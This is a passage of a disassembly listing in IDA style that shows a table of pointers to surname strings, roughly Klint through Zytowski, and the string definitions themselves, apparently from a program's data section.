		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight_0	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda_0	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick_0	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush_0	; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange_0	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
off_435248	dd offset aSwindle	; DATA XREF: .nsp0:off_43D9D4o
					; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle_0	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite_0	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee_0	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: .nsp0:00435480o
		align 10h
aZwiers		db 'Zwiers',0           ; DATA XREF: .nsp0:0043547Co
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: .nsp0:00435478o
		align 10h
aZucconi	db 'Zucconi',0          ; DATA XREF: .nsp0:00435474o
aZoldak		db 'Zoldak',0           ; DATA XREF: .nsp0:00435470o
		align 10h
aZerbini	db 'Zerbini',0          ; DATA XREF: .nsp0:0043546Co
aZegans		db 'Zegans',0           ; DATA XREF: .nsp0:00435468o
		align 10h
aZangwill	db 'Zangwill',0         ; DATA XREF: .nsp0:00435464o
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: .nsp0:00435460o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: .nsp0:0043545Co
aYu		db 'Yu',0               ; DATA XREF: .nsp0:00435458o
		align 10h
aYoukSee	db 'Youk-See',0         ; DATA XREF: .nsp0:00435454o
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: .nsp0:00435450o
aYoffe		db 'Yoffe',0            ; DATA XREF: .nsp0:0043544Co
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: .nsp0:00435448o
		align 10h
aYesson		db 'Yesson',0           ; DATA XREF: .nsp0:00435444o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: .nsp0:00435440o
aYbarra		db 'Ybarra',0           ; DATA XREF: .nsp0:0043543Co
		align 4
aYates		db 'Yates',0            ; DATA XREF: .nsp0:00435438o
		align 10h
aYarchuk	db 'Yarchuk',0          ; DATA XREF: .nsp0:00435434o
aYankee_0	db 'Yankee',0           ; DATA XREF: .nsp0:00435430o
		align 10h
aYamane		db 'Yamane',0           ; DATA XREF: .nsp0:0043542Co
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: .nsp0:00435428o
		align 10h
aVotey		db 'Votey',0            ; DATA XREF: .nsp0:00435424o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: .nsp0:00435420o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: .nsp0:0043541Co
		align 10h
aWoods		db 'Woods',0            ; DATA XREF: .nsp0:00435418o
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: .nsp0:00435414o
		align 10h
aWoo		db 'Woo',0              ; DATA XREF: .nsp0:00435410o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: .nsp0:0043540Co
		align 10h
aWolk		db 'Wolk',0             ; DATA XREF: .nsp0:00435408o
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: .nsp0:00435404o
		align 10h
aViviani	db 'Viviani',0          ; DATA XREF: .nsp0:00435400o
aVitali		db 'Vitali',0           ; DATA XREF: .nsp0:004353FCo
		align 10h
aWilson		db 'Wilson',0           ; DATA XREF: .nsp0:004353F8o
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: .nsp0:004353F4o
aVillarreal	db 'Villarreal',0       ; DATA XREF: .nsp0:004353F0o
		align 10h
aWilkinson	db 'Wilkinson',0        ; DATA XREF: .nsp0:004353ECo
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: .nsp0:004353E8o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: .nsp0:004353E4o
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: .nsp0:004353E0o
aWilder		db 'Wilder',0           ; DATA XREF: .nsp0:004353DCo
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: .nsp0:004353D8o
aViens		db 'Viens',0            ; DATA XREF: .nsp0:004353D4o
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: .nsp0:004353D0o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: .nsp0:004353CCo
aViano		db 'Viano',0            ; DATA XREF: .nsp0:004353C8o
		align 4
aViana		db 'Viana',0            ; DATA XREF: .nsp0:004353C4o
		align 10h
aWhittaker	db 'Whittaker',0        ; DATA XREF: .nsp0:004353C0o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: .nsp0:004353BCo
		align 4
aWhite_0	db 'White',0            ; DATA XREF: .nsp0:004353B8o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: .nsp0:004353B4o
aWhately	db 'Whately',0          ; DATA XREF: .nsp0:004353B0o
aWetzel		db 'Wetzel',0           ; DATA XREF: .nsp0:004353ACo
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: .nsp0:004353A8o
aVerghese	db 'Verghese',0         ; DATA XREF: .nsp0:004353A4o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: .nsp0:004353A0o
		align 10h
aWengret	db 'Wengret',0          ; DATA XREF: .nsp0:0043539Co
aWelsh		db 'Welsh',0            ; DATA XREF: .nsp0:00435398o
		align 10h
aWelles		db 'Welles',0           ; DATA XREF: .nsp0:00435394o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: .nsp0:00435390o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: .nsp0:0043538Co
		align 10h
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: .nsp0:00435388o
		align 4
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: .nsp0:00435384o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: .nsp0:00435380o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: .nsp0:0043537Co
		align 10h
aWaugh		db 'Waugh',0            ; DATA XREF: .nsp0:00435378o
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: .nsp0:00435374o
aWasowska	db 'Wasowska',0         ; DATA XREF: .nsp0:00435370o
		align 4
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .nsp0:0043536Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .nsp0:00435368o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .nsp0:00435364o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .nsp0:00435360o
aVanallen	db 'vanAllen',0         ; DATA XREF: .nsp0:0043535Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .nsp0:00435358o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .nsp0:00435354o
		align 4
aWales		db 'Wales',0            ; DATA XREF: .nsp0:00435350o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .nsp0:0043534Co
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: .nsp0:00435348o
aWaite		db 'Waite',0            ; DATA XREF: .nsp0:00435344o
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: .nsp0:00435340o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .nsp0:0043533Co
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: .nsp0:00435338o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .nsp0:00435334o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: .nsp0:00435330o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: .nsp0:0043532Co
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .nsp0:00435328o
		align 4
